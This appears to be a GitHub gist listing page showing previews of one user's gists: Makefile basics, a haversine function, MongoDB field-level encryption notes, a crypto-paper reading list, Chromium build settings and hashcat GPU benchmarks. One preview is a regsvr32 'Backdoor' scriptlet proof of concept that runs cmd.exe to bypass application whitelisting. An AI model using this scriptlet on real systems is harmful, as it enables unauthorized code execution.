Skip to content

Instantly share code, notes, and snippets.

@kennwhite
kennwhite / Makefile
Created February 15, 2018 06:58 — forked from isaacs/Makefile
# Hello, and welcome to makefile basics.
#
# You will learn why `make` is so great, and why, despite its "weird" syntax,
# it is actually a highly expressive, efficient, and powerful way to build
# programs.
#
# Once you're done here, go to
# http://www.gnu.org/software/make/manual/make.html
# to learn SOOOO much more.
from __future__ import division
import numpy as np
RADIUS_OF_EARTH_IN_KM = 6371.01
def haversine(lat1, lon1, lat2, lon2):
"""
Utility to calcutlate distance between two pointtodo explain regarding height
coverting from geodisc co-ordinate to cartestian gives errors when distances are further apart
@kennwhite
kennwhite / Backdoor-Minimalist.sct
Created April 21, 2016 22:55
Execute Remote Scripts Via regsvr32.exe
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Empire"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
@kennwhite
kennwhite / mongodb-csfle-example-kmip-or-local-key.md
Created April 18, 2022 20:51 — forked from pkdone/mongodb-csfle-example-kmip-or-local-key.md
MongoDB CSFLE example using mongosh with a master key sourced from KMIP or a local file

MongoDB Client-Side Field Level Encryption (CSFLE) Using KMIP or Local Master Key (with mongosh)

Assumptions

  • You have an accessible MongoDB deployment already running and accessible (self-managed or in Atlas)
  • You have the modern MongoDB Shell (mongosh) installed locally on your workstation
  • You have a KMIP Server running and accessible, if you don't intend to use a local keyfile (for an example of running and configuring a Hashicorp Vault development instance, see: Hashicorp Vault Configuration For MongoDB KMIP Use)

Configure Local Workstation Context Files

Not many papers share a critical view of the cryptography field, and when such papers are published they tend to be dismissed as "extreme opinions". But not talking about potential deficiencies is harmful for everyone on the long run, even if many actors' self-interest is the status quo (example: USSR). So here's a list of crypto papers and essays not purely technical, sometimes called "controverial", in arbitrary order (please send suggestions of missing entries):

Rogaway - The moral character of cryptographic work - https://web.cs.ucdavis.edu/~rogaway/papers/moral.pdf

Bernstein - Non-uniform cracks in the concrete: the power of free precomputation - http://cr.yp.to/nonuniform/nonuniform-20130914.pdf

@kennwhite
kennwhite / args.gn
Created February 27, 2020 19:41 — forked from paulirish/args.gn
How to build Chromium to hack on DevTools
# Build arguments for the gn build
# You can set these with `gn args out/Default`
# ( and they're stored in src/out/Default/args.gn )
# See "gn args out/Default --list" for available build arguments
# component build, because people love it
is_component_build = true
# release build, because its faster
is_debug = false
@kennwhite
kennwhite / 2080ti-hashcat.txt
Created February 9, 2020 21:46 — forked from binary1985/2080ti-hashcat.txt
Gigabyte RTX 2080ti Hashcat Benchmarks
hashcat (v5.0.0) starting in benchmark mode...
* Device #1: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce RTX 2080 Ti, 2816/11264 MB allocatable, 68MCU
Benchmark relevant options:
@kennwhite
kennwhite / rtx2080.md
Created February 9, 2020 21:46 — forked from epixoip/rtx2080.md
Nvidia RTX 2080 FE Hashcat Benchmarks

Nvidia RTX 2080 FE Hashcat Benchmarks

Product: As there is currently no Linux driver, we had to use chick3nman's desktop (Windows 7)

Software: Hashcat v4.2.1, Nvidia driver 411.63

Accelerator: 1x Nvidia RTX 2080 Founders Edition

Notes

@kennwhite
kennwhite / 2080S.md
Created February 9, 2020 21:34 — forked from epixoip/2080S.md
Nvidia RTX 2080 SUPER FE Hashcat Benchmarks

Nvidia RTX 2080 SUPER FE Hashcat Benchmarks

Software: Hashcat v5.1.0, Nvidia driver 430.34

Accelerator: 1x Nvidia RTX 2080 SUPER Founders Edition

Notes

  1. Only ~ 3% faster than non-SUPER 2080. Future drivers may show slightly better performance, but this seems like a pretty good driver as far as release-day drivers go.
@kennwhite
kennwhite / 2080.Benchmark
Created February 2, 2020 04:04 — forked from Chick3nman/2080.Benchmark
RTX 2080 benchmark in hashcat v 4.2.1
Nvidia Driver version 411.63
hashcat (v4.2.1) starting in benchmark mode...
OpenCL Platform #1: Intel(R) Corporation
========================================
* Device #1: Intel(R) Core(TM) i7-6700K CPU @ 4.00GHz, skipped.
OpenCL Platform #2: NVIDIA Corporation
======================================